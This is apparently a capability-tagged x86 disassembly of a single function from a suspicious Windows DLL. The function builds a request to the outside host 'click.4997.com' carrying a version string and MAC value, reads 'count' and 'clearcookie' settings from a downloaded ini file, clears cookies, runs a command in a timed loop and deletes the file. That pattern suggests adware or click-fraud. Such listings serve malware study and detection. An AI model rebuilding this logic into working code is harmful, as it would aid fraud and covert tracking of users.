Function at 0x1000e995
Capabilities:
Check if file exists
Delete file
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1234
call fcn.1002c520
mov eax, dword [0x100405a0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x1000ec4e
mov ecx, edi
push ebx
lea edx, [ecx + 2]
xor ebx, ebx
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x1000e9c0
sub ecx, edx
sar ecx, 1
je 0x1000ec4d
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1000ec4d
lea eax, [ebp - 0x1228]
push eax
lea eax, [ebp - 0x1234]
push eax
lea eax, [ebp - 0x122c]
push eax
lea eax, [ebp - 0x1230]
push eax
mov dword [ebp - 0x1230], ebx
call fcn.1001ab89
xor eax, eax
push 0x3e6
mov word [ebp - 0x3ec], ax
lea eax, [ebp - 0x3ea]
push ebx
push eax
call fcn.10022310
add esp, 0xc
cmp dword [ebp - 0x122c], 3
jle 0x1000ea44
mov eax, dword [ebp - 0x1228]
and eax, 0x80000001
jns 0x1000ea44
dec eax
or eax, 0xfffffffe
inc eax
push str.get.ashx_ver1.1.14.9150
push 0x2260
push str.click.4997.com
lea eax, [ebp - 0x3ec]
push str.http:___s:_d__s
push eax
call fcn.1000f19e
add esp, 0x14
lea eax, [ebp - 0x3ec]
push esi
push 0x1003b848
push eax
call fcn.100213fb
pop ecx
test eax, eax
pop ecx
mov esi, 0x1f4
lea eax, [ebp - 0x3ec]
je 0x1000ea91
push 0x1003b84c
jmp 0x1000ea96
push str._mac
push esi
push eax
call fcn.10021692
mov eax, dword [0x10067e8c]
add esp, 0xc
push dword [eax + 0x14]
lea eax, [ebp - 0x3ec]
push esi
push eax
call fcn.10021692
add esp, 0xc
lea eax, [ebp - 0x3ec]
push eax
call fcn.1001a059
mov dword [ebp - 0x1228], ebx
test eax, eax
je 0x1000ec20
lea ecx, [ebp - 0x1228]
push ecx
mov ecx, eax
call fcn.10019f6d
mov esi, dword [ebp - 0x1228]
test esi, esi
je 0x1000ec20
lea eax, [ebp - 0x5f4]
push eax
push esi
call fcn.1001a12d
test eax, eax
je 0x1000ec19
lea eax, [ebp - 0x5f4]
push eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push str.count
push str.Config
call ebx
cmp dword [ebp - 0x1230], 0
mov dword [ebp - 0x122c], eax
je 0x1000eb7e
lea eax, [ebp - 0x5f4]
push eax
push 0
push str.clearcookie
push str.Config
call ebx
test eax, eax
je 0x1000eb7e
mov ebx, dword [0x10067e8c]
call fcn.10019b60
push 0
push 0x21
lea eax, [ebp - 0x7fc]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x1000eb79
push 0
push 0
lea eax, [ebp - 0x7fc]
push eax
mov ecx, ebx
call fcn.10019d35
call fcn.1001b0cc
xor eax, eax
push 0xa26
push eax
mov word [ebp - 0x1224], ax
lea eax, [ebp - 0x1222]
push eax
call fcn.10022310
xor ebx, ebx
add esp, 0xc
cmp dword [ebp - 0x122c], ebx
jle 0x1000ebff
mov esi, dword [ebp - 0x122c]
push 0xa28
lea eax, [ebp - 0x1224]
push 0
push eax
call fcn.10022310
inc ebx
push ebx
lea eax, [ebp - 0x5f4]
push eax
push edi
lea eax, [ebp - 0x1224]
push str._s__runac___s___d
push eax
call fcn.1000f1bb
add esp, 0x18
lea eax, [ebp - 0x1224]
push eax
push ecx
call fcn.10019959
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, esi
jl 0x1000ebac
mov esi, dword [ebp - 0x1228]
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x5f4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ebx, ebx
push esi
call fcn.1001f825
pop ecx
mov ecx, dword [0x10067e8c]
pop esi
test ecx, ecx
je 0x1000ec37
push ecx
call fcn.1000ec5d
mov dword [0x10067e8c], ebx
mov eax, dword [0x10067e90]
test eax, eax
je 0x1000ec4d
push eax
call fcn.1001faa2
pop ecx
mov dword [0x10067e90], ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1001f816
leave
ret 4